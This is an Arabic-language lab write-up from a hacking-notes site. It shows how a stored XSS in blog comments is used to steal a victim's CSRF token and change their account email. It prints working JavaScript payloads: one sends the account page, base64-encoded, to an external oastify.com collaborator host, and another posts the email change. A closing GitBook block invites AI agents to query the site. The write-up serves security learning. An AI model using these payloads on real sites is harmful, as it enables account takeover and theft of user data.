> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/xss-to-bypass-csrf-defenses.md).

# XSS لتجاوز دفاعات CSRF

### استغلال XSS لتجاوز دفاعات CSRF

تحتوي هذه المختبر على ثغرة XSS مخزنة في ميزة تعليقات المدونة. الهدف هو استغلال هذه الثغرة لسرقة رمز CSRF من مستخدم يطّلع على التعليقات ثم استخدامه لتغيير عنوان البريد الإلكتروني لذلك الحساب. يمكنك الاتصال باستخدام بيانات الاعتماد التالية: `wiener:peter`.

* يوجد حقل في الصفحة لتحديث البريد الإلكتروني.

<figure><img src="/files/f6664b02f09cf374e11ea4367485f222684daa64" alt=""><figcaption></figcaption></figure>

* يوجد حقل في الصفحة لتحديث البريد الإلكتروني.
* من خلال اعتراض طلب التحديث، تُلاحظ المعلمات (مثال):
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="/files/3fd91dac068eaa897212b4a71a7f9879478d7606" alt=""><figcaption></figcaption></figure>

الاستراتيجية:

<figure><img src="/files/a83590be31b3f9b0e6b867b2e187f1f31c9509f8" alt=""><figcaption></figcaption></figure>

1. انشر تعليقًا يحتوي على نص برمجي يسترجع، عند عرض الصفحة بواسطة الضحية، HTML من صفحة الحساب (`/my-account`) باستخدام طلب متزامن أو غير متزامن.
2. استخرج هذا الـHTML إلى خادم مراقبة خاضع للتحكم (مع ترميزه إلى Base64 إذا رغبت).
3. استرجع على جهة المهاجم رمز CSRF، ومن خلال نص برمجي ثانٍ يُنفَّذ في سياق الضحية، أجرِ طلب POST إلى `/my-account/change-email` عن طريق توفير كلٍّ من العنوان الجديد ورمز CSRF المسترجع — سيستخدم الطلب ملف تعريف ارتباط جلسة الضحية أثناء تشغيل النص البرمجي في متصفحه.

استخرج الشيفرة المصدرية لصفحة الحساب إلى خادم مراقبة (مشفرة بصيغة Base64):

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="/files/b3b315ff94c1fe7309bcb7feda1f315dff615579" alt=""><figcaption></figcaption></figure>

النتيجة المُلاحظة:

* على بنيتنا التحتية يتم استقبال طلبين يحتويان على HTML مُرمَّزًا بصيغة base64.

<figure><img src="/files/b2e4f017f96e1877666cf0db9da76d14d9a309e4" alt=""><figcaption></figcaption></figure>

* بعد فك الترميز، يحتوي HTML على معلومات الحساب: اسم المستخدم `administrator`، والبريد الإلكتروني الحالي، ورمز CSRF في `الإدخال` حقل (مثل `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` في المثال المقدم).

<figure><img src="/files/73e6d6079be72b5575662686f11f26ae72912277" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>اسم المستخدم الخاص بك هو: administrator</p>
    <p>بريدك الإلكتروني هو: <span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>البريد الإلكتروني</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> تحديث البريد الإلكتروني </button>
        </form>
</div>
```

استرجاع رمز CSRF من HTML وإرسال تغيير البريد الإلكتروني (POST):

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
